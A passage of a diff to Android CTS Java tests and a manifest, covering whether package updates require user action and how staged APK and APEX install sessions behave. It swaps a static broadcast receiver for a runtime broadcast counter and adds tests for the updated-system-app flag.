+    @Test
+    public void updateWithUnknownSourcesDisabled_RequiresUserAction() throws Exception {
+        Assert.assertEquals("Update with unknown sources disabled should require user action",
+                PackageInstaller.STATUS_PENDING_USER_ACTION,
+                install(CURRENT_APK));
+    }
+
+    @Test
+    public void updateAsNonInstallerOfRecord_RequiresUserAction() throws Exception {
+        Assert.assertEquals("Update when not installer of record should require user action",
+                PackageInstaller.STATUS_PENDING_USER_ACTION,
+                install(CURRENT_APK));
+    }
+
+    @Test
+    public void updatedInstall_RequiresNoUserAction() throws Exception {
+        Assert.assertEquals("Nominal silent update should not require user action",
+                PackageInstaller.STATUS_SUCCESS,
+                install(CURRENT_APK));
+    }
+
+    @Test
+    public void updatedInstallWithoutCallSetUserAction_RequiresUserAction() throws Exception {
+        Assert.assertEquals("Update should require action when setRequireUserAction not called",
+                PackageInstaller.STATUS_PENDING_USER_ACTION,
+                install(CURRENT_APK, null /*setRequireUserAction*/));
+    }
+
+    @Test
+    public void updatedInstallForceUserAction_RequiresUserAction() throws Exception {
+        Assert.assertEquals("Update should require action when setRequireUserAction true",
+                PackageInstaller.STATUS_PENDING_USER_ACTION,
+                install(CURRENT_APK, true /*setRequireUserAction*/));
+    }
+
+    @Test
+    public void updatePreQApp_RequiresUserAction() throws Exception {
+        Assert.assertEquals("Updating to a pre-Q app should require user action",
+                PackageInstaller.STATUS_PENDING_USER_ACTION,
+                install(P_APK));
+    }
+    @Test
+    public void updateQApp_RequiresNoUserAction() throws Exception {
+        Assert.assertEquals("Updating to a Q app should not require user action",
+                PackageInstaller.STATUS_SUCCESS,
+                install(Q_APK));
+    }
+
+    private int install(String apkName) throws Exception {
+        return install(apkName, false);
+    }
+    private int install(String apkName, Boolean requireUserAction) throws Exception {
+        final Context context = getContext();
+        final PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+        SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+        if (requireUserAction != null) {
+            params.setRequireUserAction(requireUserAction);
+        }
+        int sessionId = installer.createSession(params);
+        Assert.assertEquals("SessionInfo.getRequireUserAction and "
+                        + "SessionParams.setRequireUserAction are not equal",
+                installer.getSessionInfo(sessionId).getRequireUserAction(),
+                requireUserAction == null
+                        ? PackageInstaller.SessionInfo.USER_ACTION_UNSPECIFIED
+                        : requireUserAction == Boolean.TRUE
+                                ? PackageInstaller.SessionInfo.USER_ACTION_REQUIRED
+                                : PackageInstaller.SessionInfo.USER_ACTION_NOT_REQUIRED);
+        final PackageInstaller.Session session = installer.openSession(sessionId);
+        try(OutputStream os = session.openWrite(apkName, 0, -1)) {
+            try (InputStream is = getClass().getClassLoader().getResourceAsStream(apkName)) {
+                if (is == null) {
+                    throw new IOException("Resource " + apkName + " not found.");
+                }
+                byte[] buffer = new byte[4096];
+                int n;
+                while ((n = is.read(buffer)) >= 0) {
+                    os.write(buffer, 0, n);
+                }
+            }
+        }
+        InstallStatusListener isl = new InstallStatusListener();
+        session.commit(isl.getIntentSender());
+        final Intent statusUpdate = isl.getResult();
+        return statusUpdate.getIntExtra(PackageInstaller.EXTRA_STATUS, Integer.MIN_VALUE);
+    }
+
+    public static class InstallStatusListener extends BroadcastReceiver {
+
+        private final BlockingQueue<Intent> mResults = new LinkedBlockingQueue<>();
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mResults.add(intent);
+        }
+
+        public IntentSender getIntentSender() {
+            final Context context = getContext();
+            final String action = UUID.randomUUID().toString();
+            context.registerReceiver(this, new IntentFilter(action));
+            Intent intent = new Intent(action);
+            PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, FLAG_MUTABLE);
+            return pending.getIntentSender();
+        }
+
+        public Intent getResult() throws InterruptedException {
+            return mResults.take();
+        }
+    }
+}
diff --git a/hostsidetests/stagedinstall/app/AndroidManifest.xml b/hostsidetests/stagedinstall/app/AndroidManifest.xml
index ebe83e6..b0f548c 100644
--- a/hostsidetests/stagedinstall/app/AndroidManifest.xml
+++ b/hostsidetests/stagedinstall/app/AndroidManifest.xml
@@ -15,38 +15,28 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.stagedinstall" >
+     package="com.android.tests.stagedinstall">
 
     <queries>
-        <package android:name="com.android.cts.ctsshim" />
+        <package android:name="com.android.cts.ctsshim"/>
     </queries>
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
-
         <!-- This activity is necessary to register the test app as the default home activity (i.e.
-             to receive SESSION_COMMITTED broadcasts.) -->
-        <activity android:name=".LauncherActivity">
+                         to receive SESSION_COMMITTED broadcasts.) -->
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
-                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <receiver android:name="com.android.tests.stagedinstall.SessionUpdateBroadcastReceiver">
-            <intent-filter>
-                <action android:name="android.content.pm.action.SESSION_UPDATED"/>
-            </intent-filter>
-            <intent-filter>
-                <action android:name="android.content.pm.action.SESSION_COMMITTED"/>
-            </intent-filter>
-        </receiver>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.tests.stagedinstall"
-                     android:label="StagedInstall Test"/>
+         android:targetPackage="com.android.tests.stagedinstall"
+         android:label="StagedInstall Test"/>
 </manifest>
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
index 38ae802..f8eabdb 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
@@ -38,8 +38,6 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
-import java.util.concurrent.TimeUnit;
-
 /**
  * These tests use a similar structure to {@link StagedInstallTest}. See
  * {@link StagedInstallTest} documentation for reference.
@@ -67,53 +65,38 @@
                 .dropShellPermissionIdentity();
     }
 
-    @Before
-    public void clearBroadcastReceiver() {
-        SessionUpdateBroadcastReceiver.sessionBroadcasts.clear();
-    }
-
     @Test
     public void testRejectsApexWithAdditionalFile_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_additional_file.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
     @Test
     public void testRejectsApexWithAdditionalFolder_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_additional_folder.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
     @Test
     public void testRejectsApexWithPostInstallHook_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_with_post_install_hook.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
     @Test
     public void testRejectsApexWithPreInstallHook_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_with_pre_install_hook.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
     @Test
     public void testRejectsApexWrongSHA_Commit() throws Exception {
         int sessionId = stageApex("com.android.apex.cts.shim.v2_wrong_sha.apex");
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        PackageInstaller.SessionInfo info = InstallUtils.waitForSession(sessionId);
         assertThat(info).isStagedSessionFailed();
     }
 
@@ -128,8 +111,9 @@
         int sessionId = Install.single(apexTestApp).setStaged().createSession();
         try (PackageInstaller.Session session =
                      InstallUtils.openPackageInstallerSession(sessionId)) {
-            session.commit(LocalIntentSender.getIntentSender());
-            Intent result = LocalIntentSender.getIntentSenderResult();
+            LocalIntentSender sender = new LocalIntentSender();
+            session.commit(sender.getIntentSender());
+            Intent result = sender.getResult();
             InstallUtils.assertStatusSuccess(result);
             return sessionId;
         }
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java
deleted file mode 100644
index d51c091..0000000
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.tests.stagedinstall;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageInstaller;
-import android.util.Log;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-
-public class SessionUpdateBroadcastReceiver extends BroadcastReceiver {
-
-    static final BlockingQueue<PackageInstaller.SessionInfo> sessionBroadcasts
-            = new LinkedBlockingQueue<>();
-    static final BlockingQueue<PackageInstaller.SessionInfo> sessionCommittedBroadcasts
-            = new LinkedBlockingQueue<>();
-
-    private static final String TAG = "StagedInstallTest";
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        PackageInstaller.SessionInfo info =
-                intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
-        assertThat(info).isNotNull();
-        switch (intent.getAction()) {
-            case PackageInstaller.ACTION_SESSION_UPDATED:
-                handleSessionUpdatedBroadcast(info);
-                break;
-            case PackageInstaller.ACTION_SESSION_COMMITTED:
-                handleSessionCommittedBroadcast(info);
-                break;
-            default:
-                break;
-        }
-    }
-
-    private void handleSessionUpdatedBroadcast(PackageInstaller.SessionInfo info) {
-        Log.i(TAG, "Received SESSION_UPDATED for session " + info.getSessionId()
-                + " isReady:" + info.isStagedSessionReady()
-                + " isFailed:" + info.isStagedSessionFailed()
-                + " isApplied:" + info.isStagedSessionApplied());
-        try {
-            sessionBroadcasts.put(info);
-        } catch (InterruptedException e) {
-
-        }
-    }
-
-    private void handleSessionCommittedBroadcast(PackageInstaller.SessionInfo info) {
-        Log.e(TAG, "Received SESSION_COMMITTED for session " + info.getSessionId());
-        try {
-            sessionCommittedBroadcasts.put(info);
-        } catch (InterruptedException e) {
-            Thread.currentThread().interrupt();
-            throw new IllegalStateException(
-                    "Interrupted while handling SESSION_COMMITTED broadcast", e);
-        }
-    }
-}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index f61d887..4a69184 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -16,6 +16,8 @@
 
 package com.android.tests.stagedinstall;
 
+import static com.android.cts.install.lib.InstallUtils.assertStatusSuccess;
+import static com.android.cts.install.lib.InstallUtils.getInstalledVersion;
 import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
 import static com.android.cts.shim.lib.ShimPackage.DIFFERENT_APEX_PACKAGE_NAME;
 import static com.android.cts.shim.lib.ShimPackage.NOT_PRE_INSTALL_APEX_PACKAGE_NAME;
@@ -29,8 +31,10 @@
 import static org.junit.Assert.fail;
 
 import android.Manifest;
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageInstaller;
@@ -60,18 +64,19 @@
 import java.io.FileWriter;
 import java.io.IOException;
 import java.io.InputStream;
-import java.io.OutputStream;
 import java.nio.file.FileVisitResult;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 import java.nio.file.SimpleFileVisitor;
+import java.nio.file.StandardCopyOption;
 import java.nio.file.attribute.BasicFileAttributes;
 import java.time.Duration;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
 import java.util.function.Consumer;
 import java.util.stream.Collectors;
 
@@ -176,12 +181,6 @@
                 .dropShellPermissionIdentity();
     }
 
-    @Before
-    public void clearBroadcastReceiver() {
-        SessionUpdateBroadcastReceiver.sessionBroadcasts.clear();
-        SessionUpdateBroadcastReceiver.sessionCommittedBroadcasts.clear();
-    }
-
     // This is marked as @Test to take advantage of @Before/@After methods of this class. Actual
     // purpose of this method to be called before and after each test case of
     // com.android.test.stagedinstall.host.StagedInstallTest to reduce tests flakiness.
@@ -190,8 +189,10 @@
         PackageInstaller packageInstaller = getPackageInstaller();
         List<PackageInstaller.SessionInfo> stagedSessions = packageInstaller.getStagedSessions();
         for (PackageInstaller.SessionInfo sessionInfo : stagedSessions) {
-            if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID) {
-                // Cannot abandon a child session
+            if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID
+                    || sessionInfo.isStagedSessionApplied()
+                    || sessionInfo.isStagedSessionFailed()) {
+                // Cannot abandon a child session; no need to abandon terminated sessions
                 continue;
             }
             try {
@@ -223,21 +224,23 @@
 
     @Test
     public void testInstallStagedApk_Commit() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallStagedApk_VerifyPostReboot() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
@@ -252,6 +255,7 @@
 
     @Test
     public void testInstallMultipleStagedApks_Commit() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
                 .assertSuccessful().getSessionId();
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
@@ -261,16 +265,17 @@
         storeSessionId(sessionId);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallMultipleStagedApks_VerifyPostReboot() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
         assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
@@ -338,6 +343,7 @@
 
     @Test
     public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_UPDATED);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         // Using an apex in hopes that pre-reboot verification will take longer to complete
@@ -346,7 +352,7 @@
                 .getSessionId();
         abandonSession(sessionId);
         InstallUtils.assertStagedSessionIsAbandoned(sessionId);
-        assertNoSessionUpdatedBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
@@ -455,6 +461,7 @@
 
     @Test
     public void testInstallStagedApex_Commit() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
@@ -462,19 +469,21 @@
         storeSessionId(sessionId);
         // Version shouldn't change before reboot.
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallStagedApex_VerifyPostReboot() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallStagedApexAndApk_Commit() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         int sessionId = stageMultipleApks(TestApp.Apex2, TestApp.A1)
@@ -485,16 +494,17 @@
         // Version shouldn't change before reboot.
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
     public void testInstallStagedApexAndApk_VerifyPostReboot() throws Exception {
+        BroadcastCounter counter = new BroadcastCounter(PackageInstaller.ACTION_SESSION_COMMITTED);
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
-        assertNoSessionCommitBroadcastSent();
+        counter.assertNoBroadcastReceived();
     }
 
     @Test
@@ -834,7 +844,7 @@
 
     @Test
     public void testUpdateWithDifferentKey_VerifyPostReboot() throws Exception {
-        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
     }
 
     // Once updated with a new rotated key (bob), further updates with old key (alice) should fail
@@ -862,7 +872,7 @@
 
     @Test
     public void testTrustedOldKeyIsAccepted_VerifyPostReboot() throws Exception {
-        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
     }
 
     // Once updated with a new rotated key (bob), further updates with new key (bob) should pass
@@ -875,7 +885,7 @@
 
     @Test
     public void testAfterRotationNewKeyCanUpdateFurther_VerifyPostReboot() throws Exception {
-        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
     }
 
     // Once updated with a new rotated key (bob), further updates can be done with key only
@@ -895,16 +905,20 @@
     @Test
     public void testFailStagingMultipleSessionsIfNoCheckPoint() throws Exception {
         stageSingleApk(TestApp.A1).assertSuccessful();
-        StageSessionResult failedSessionResult = stageSingleApk(TestApp.B1);
-        assertThat(failedSessionResult.getErrorMessage()).contains(
+        int sessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId();
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionFailed();
+        assertThat(info.getStagedSessionErrorMessage()).contains(
                 "Cannot stage multiple sessions without checkpoint support");
     }
 
     @Test
     public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
         stageSingleApk(TestApp.A1).assertSuccessful();
-        StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
-        assertThat(failedSessionResult.getErrorMessage()).contains(
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionFailed();
+        assertThat(info.getStagedSessionErrorMessage()).contains(
                 "has been staged already by session");
     }
 
@@ -917,9 +931,12 @@
 
     @Test
     public void testFailOverlappingMultipleStagedInstall_BothMultiPackage_Apk() throws Exception {
-        stageMultipleApks(TestApp.A1, TestApp.B1).assertSuccessful();
-        StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A2, TestApp.C1);
-        assertThat(failedSessionResult.getErrorMessage()).contains(
+        int id = stageMultipleApks(TestApp.A1, TestApp.B1).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(id);
+        int sessionId = stageMultipleApks(TestApp.A2, TestApp.C1).assertSuccessful().getSessionId();
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionFailed();
+        assertThat(info.getStagedSessionErrorMessage()).contains(
                 "has been staged already by session");
     }
 
@@ -1200,15 +1217,39 @@
         }
     }
 
+    @Test
+    public void testApexSetsUpdatedSystemAppFlag_preUpdate() throws Exception {
+        final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(info).isNotNull();
+        boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+        boolean isUpdatedSystemApp =
+                (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+        assertThat(isSystemApp).isTrue();
+        assertThat(isUpdatedSystemApp).isFalse();
+    }
+
+    @Test
+    public void testApexSetsUpdatedSystemAppFlag_postUpdate() throws Exception {
+        final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(info).isNotNull();
+        boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+        boolean isUpdatedSystemApp =
+                (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+        assertThat(isSystemApp).isFalse();
+        assertThat(isUpdatedSystemApp).isTrue();
+    }
+
     // It becomes harder to maintain this variety of install-related helper methods.
     // TODO(ioffe): refactor install-related helper methods into a separate utility.
     private static int createStagedSession() throws Exception {
         return Install.single(TestApp.A1).setStaged().createSession();
     }
 
-    private static void commitSession(int sessionId) throws IOException {
+    private static Intent commitSession(int sessionId) throws IOException, InterruptedException {
+        LocalIntentSender sender = new LocalIntentSender();
         InstallUtils.openPackageInstallerSession(sessionId)
-                .commit(LocalIntentSender.getIntentSender());
+                .commit(sender.getIntentSender());
+        return sender.getResult();
     }
 
     private static StageSessionResult stageDowngradeSingleApk(TestApp testApp) throws Exception {
@@ -1216,26 +1257,20 @@
         int sessionId = Install.single(testApp).setStaged().setRequestDowngrade().createSession();
         // Commit the session (this will start the installation workflow).
         Log.i(TAG, "Committing downgrade session for apk: " + testApp);
-        commitSession(sessionId);
-        return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
+        Intent result = commitSession(sessionId);
+        return new StageSessionResult(sessionId, result);
     }
 
     private static StageSessionResult stageSingleApk(String apkFileName, String outputFileName)
             throws Exception {
-        Log.i(TAG, "Staging an install of " + apkFileName);
-        // this is a trick to open an empty install session so we can manually write the package
-        // using writeApk
-        TestApp empty = new TestApp(null, null, -1,
-                apkFileName.endsWith(".apex"));
-        int sessionId = Install.single(empty).setStaged().createSession();
-        try (PackageInstaller.Session session =
-                     InstallUtils.openPackageInstallerSession(sessionId)) {
-            writeApk(session, apkFileName, outputFileName);
-            // Commit the session (this will start the installation workflow).
-            Log.i(TAG, "Committing session for apk: " + apkFileName);
-            commitSession(sessionId);
-            return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
+        File tmpFile = File.createTempFile(outputFileName, null);
+        try (InputStream is =
+                     StagedInstallTest.class.getClassLoader().getResourceAsStream(apkFileName)) {
+            Files.copy(is, tmpFile.toPath(), StandardCopyOption.REPLACE_EXISTING);
         }
+        TestApp testApp = new TestApp(tmpFile.getName(), null, -1,
+                apkFileName.endsWith(".apex"), tmpFile);
+        return stageSingleApk(testApp);
     }
 
     private static StageSessionResult stageSingleApk(TestApp testApp) throws Exception {
@@ -1243,17 +1278,15 @@
         int sessionId = Install.single(testApp).setStaged().createSession();
         // Commit the session (this will start the installation workflow).
         Log.i(TAG, "Committing session for apk: " + testApp);
-        commitSession(sessionId);
-        return new StageSessionResult(sessionId,
-                LocalIntentSender.getIntentSenderResult(sessionId));
+        Intent result = commitSession(sessionId);
+        return new StageSessionResult(sessionId, result);
     }
 
     private static StageSessionResult stageMultipleApks(TestApp... testApps) throws Exception {
         Log.i(TAG, "Staging an install of " + Arrays.toString(testApps));
         int multiPackageSessionId = Install.multi(testApps).setStaged().createSession();
-        commitSession(multiPackageSessionId);
-        return new StageSessionResult(
-                multiPackageSessionId, LocalIntentSender.getIntentSenderResult());
+        Intent result = commitSession(multiPackageSessionId);
+        return new StageSessionResult(multiPackageSessionId, result);
     }
 
     private static void assertSessionApplied(int sessionId) {
@@ -1328,20 +1361,6 @@
         }
     }
 
-    private static void writeApk(PackageInstaller.Session session, String apkFileName,
-            String outputFileName)
-            throws Exception {
-        try (OutputStream packageInSession = session.openWrite(outputFileName, 0, -1);
-             InputStream is =
-                     StagedInstallTest.class.getClassLoader().getResourceAsStream(apkFileName)) {
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = is.read(buffer)) >= 0) {
-                packageInSession.write(buffer, 0, n);
-            }
-        }
-    }
-
     // TODO(ioffe): not really-tailored to staged install, rename to InstallResult?
     private static final class StageSessionResult {
         private final int sessionId;
@@ -1366,6 +1385,38 @@
         }
     }
 
+    /**
+     * Counts the number of broadcast intents received for a given type during the test.
+     * Used by to check no broadcast intents were received during the test.
+     */
+    private static class BroadcastCounter extends BroadcastReceiver {
+        private final Context mContext;
+        private final AtomicInteger mNumBroadcastReceived = new AtomicInteger();
+
+        BroadcastCounter(String action) {
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            mContext.registerReceiver(this, new IntentFilter(action));
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mNumBroadcastReceived.incrementAndGet();
+        }
+
+        /**
+         * Waits for a while and checks no broadcasts are received.
+         */
+        void assertNoBroadcastReceived() {
+            try {
+                // Sleep for a reasonable amount of time and check no broadcast is received
+                Thread.sleep(TimeUnit.SECONDS.toMillis(10));
+            } catch (InterruptedException ignore) {
+            }
+            mContext.unregisterReceiver(this);
+            assertThat(mNumBroadcastReceived.get()).isEqualTo(0);
+        }
+    }
+
     private static String extractErrorMessage(Intent result) {
         int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
                 PackageInstaller.STATUS_FAILURE);
@@ -1386,58 +1437,19 @@
         return getPackageInstaller().getSessionInfo(sessionId);
     }
 
-    private static void assertStatusSuccess(Intent result) {
-        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-        }
-    }
-
     private void waitForIsFailedBroadcast(int sessionId) {
         Log.i(TAG, "Waiting for session " + sessionId + " to be marked as failed");
-        try {
-
-            PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
-            assertThat(info).isStagedSessionFailed();
-        } catch (Exception e) {
-            throw new AssertionError(e);
-        }
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionFailed();
     }
 
